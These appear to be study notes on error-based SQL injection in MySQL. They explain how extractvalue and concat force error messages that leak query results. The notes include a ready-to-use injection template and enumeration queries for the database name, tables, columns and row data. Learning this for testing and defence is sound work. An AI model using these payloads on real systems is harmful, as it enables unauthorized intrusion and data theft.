Error Based SQL Injection
1) Syntax Error vs. Logic Error
- Compilation Process: When executing code, a compilation process occurs.
- Syntax Error: If a syntax error occurs, the code will not execute.
- SQL Syntax Error: Generally not useful for extracting data.
- Data Extraction: The
SELECT
statement must be used to retrieve data.
2) Logic Error
- SQL Error: Errors occurring due to incorrect SQL syntax can be exploited using Error-Based SQLi.
- Error Message Injection: The goal is to manipulate the error message so that it displays a
SELECT
query result.
Tips for Inducing Logic Errors
- Server behavior varies, requiring individual research for effective exploitation.
Extractvalue Function
Extractvalue('XML text', 'XML expression')
Example injection:
___' and extractvalue('1', concat(0x3a, (select '____'))) and '1'='1
- Replace
____
with the desiredSELECT
statement to extract its result. - Special symbols must be included to trigger an error.
Concat Function
- Usage: Combines strings together.
- Hexadecimal Representation:
concat('hello', 'test') -> hellotest concat(0x3a, 'test') -> :test
0x3a
represents:
Extractvalue Function Characteristics
- Requires special characters like
:
to cause an error and display data.
This method takes advantage of error messages to extract sensitive information from the database by carefully crafting SQL queries. If you're looking for further explanations or practical examples, let me know!
Error-Based SQL Injection Steps
- Identify SQL Injection Point
- Check if SQL errors are displayed on the screen.
- Error Output Function
- Use
extractvalue
to trigger an error and extract data. - Construct Attack Format
- Retrieve Database Name
Insert: select database() - Retrieve Table Name
- Retrieve Column Name
- Retrieve
name
Column fromgame_table
___' and extractvalue('1', concat(0x3a, (select '____'))) and '1'='1
Insert the desired query in place of ____
to retrieve data.
select table_name from information_schema.tables where table_schema = '_________' limit 1,1
select column_name from information_schema.columns where table_name='____'
select name from game limit 0,1